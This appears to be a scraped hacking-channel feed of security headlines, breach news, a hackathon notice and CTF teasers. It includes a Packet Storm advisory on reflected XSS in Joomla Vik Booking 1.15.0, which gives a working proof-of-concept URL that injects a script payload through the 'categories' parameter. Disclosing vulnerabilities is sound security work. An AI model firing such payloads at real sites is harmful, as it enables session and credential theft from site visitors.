Exploit Collector
WordPress Zephyr Project Manager 3.2.42 SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Joomla Vik Booking 1.15.0 Cross Site Scripting

https://2.bp.blogspot.com/-4wIBcK0z7y4/WWlvHXARtRI/AAAAAAAAILc/wzdKaT4lYrUxiztYZaNra08YExR9F67-wCLcBGAs/s1600/h14.png Joomla Vik Booking extension version 1.15.0 suffers from a cross site scripting vulnerability.

SHA-256 | dd42bf74f375195161af098783436d265cf1dca658bad8cf5c833c3115d343bdDownload ┌┌───────────────────────────────────────────────────────────────────────────────────────┐
││ C r a C k E r ┌┘
┌┘ T H E C R A C K O F E T E R N A L M I G H T ││
└───────────────────────────────────────────────────────────────────────────────────────┘┘

┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ [ Exploits ] ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
: Author : CraCkEr :
│ Website : extensions.joomla.org │
│ Vendor : e4j Extensions for Joomla - extensionsforjoomla.com │
│ Software : Joomla Vik Booking 1.15.0 │
│ Vuln Type: Reflected XSS │
│ Method : GET │
│ Impact : Manipulate the content of the site │
│ │
│────────────────────────────────────────────────────────────────────────────────────────│
│ B4nks-NET irc.b4nks.tk #unix ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
: :
│ Release Notes: │
│ ═════════════ │
│ The attacker can send to victim a link containing a malicious URL in an email or │
│ instant message can perform a wide variety of actions, such as stealing the victim's │
│ session token or login credentials │
│ │
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Greets:

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL

CryptoJob (Twitter) twitter.com/CryptozJob

┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ © CraCkEr 2022 ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Path: /index.php/en/booking

GET parameter 'categories' is vulnerable to XSS

https://extensionsforjoomla.com/livedemo/vikbooking/index.php/en/booking?option=com_vikbooking&task=showprc&roomsnum=1&roomopt%5B%5D=9&adults%5B%5D=2&children%5B%5D=1&days=1&checkin=1665057600&checkout=1665136800&category_id=&categories=rnrtm%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ew3vus&Itemid=103
[-] Done Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hackathon this weekend!

Hi everyone! On behalf of Harlem Coding Kids i would like to let you all know about the HCK hackathon! It is going to be from October 8-9 and will be a 24 hour hackathon with a 2 hour networking event before hand. There will also be workshops and speaker events that will include a speaker from Cornell Engineering!

The hackathon is also beginner friendly! We will have an advance track and a beginner track.

All participants are welcome to join, come, and go whenever they want to fit your schedule. You will also be able to participate on your own or in a group of up to five! If you fo join in a group, please have all team members sign up.

Anyone can join from anywhere in the world! If you are interested, even if you’re not sure you’re going to join, please sign up at the link below! https://forms.gle/gdCbSeCt6YsCjJEU7

submitted by /u/GirlsEducationMatter
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
State Bar of Georgia Notifies Members and Employees of Cybersecurity Incident

Current and former employees and members are being offered complimentary credit monitoring and
identity protection services as some personal information may have been accessed.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Patch Now: Fortinet FortiGate & FortiProxy Contain Critical Vuln

Fortinet issued a customer advisory urging customers to apply its update immediately.

Dark Reading: Attacks/Breaches
LofyGang Uses 100s of Malicious NPM Packages to Poison Open Source Software

The group has been operating for over a year, promoting their tools in hacking forums, stealing credit card information, and using typosquatting techniques to target open source software flaws.

[Writeup] Vault game — Hats Finance CTF#2

This is my solution for Vault-game from Hats Finance making me one of winners with rewards of 1000 DAI and a NFT.Continue reading on CoinsBench »
Read more...

Hacking on Medium
#raioninfluencer BlockTrain: “Blockchain can be hacked — The 51% Attack”

https://cdn-images-1.medium.com/max/1200/1*cz4HRS1PLqF68MDa7_Wj7w.png
Before we understand about 51% attack, let’s understand some important terms:

Continue reading on Raion.io »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How To Create a Windows 11 Virtual Machine on an M1 Mac for Free

https://cdn-images-1.medium.com/max/2600/0*q3aKY97Xx5ldSa05
A step-by-step guide using VMWare Fusion.

Continue reading on Geek Culture »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Crypto News Daily Brief / 0T.10.2022

https://cdn-images-1.medium.com/max/1038/1*MpODHZlYTQkgL0Zenhn_qA.png
BNB Chain is hacked for $100 million, Celsius reveals thousands of customers’ private information, Musk requests to delay the Twitter…

Continue reading on Ambros App »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How to pitch README

https://cdn-images-1.medium.com/max/2500/1*ulHsRcA6hKyLw_zWfmHC8w.png
README is a publication devoted to the issues, ideas and people shaping the future of cybersecurity.

Continue reading on README_ »

___________________________
@hacking_Attack
@Hacking_Video

[Writeup] Vault game — Hats Finance CTF#2
https://coinsbench.com/writeup-vault-game-hats-finance-ctf-2-c9bf6dd4416f?source=rss------bug_bounty-5

This is my solution for Vault-game from Hats Finance making me one of winners with rewards of 1000 DAI and a NFT.Continue reading on CoinsBench » (https://coinsbench.com/writeup-vault-game-hats-finance-ctf-2-c9bf6dd4416f?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Exploiting Broken Access Control Vulnerability
https://medium.com/@K9ightFr3ak/exploiting-broken-access-control-vulnerability-4d16f72c7983?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Access control (or authorization) is the application of constraints on who (or what) can perform attempted actions or access resources…Continue reading on Medium » (https://medium.com/@K9ightFr3ak/exploiting-broken-access-control-vulnerability-4d16f72c7983?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Exploiting Broken Access Control Vulnerability

Access control (or authorization) is the application of constraints on who (or what) can perform attempted actions or access resources…Continue reading on Medium »
Read more...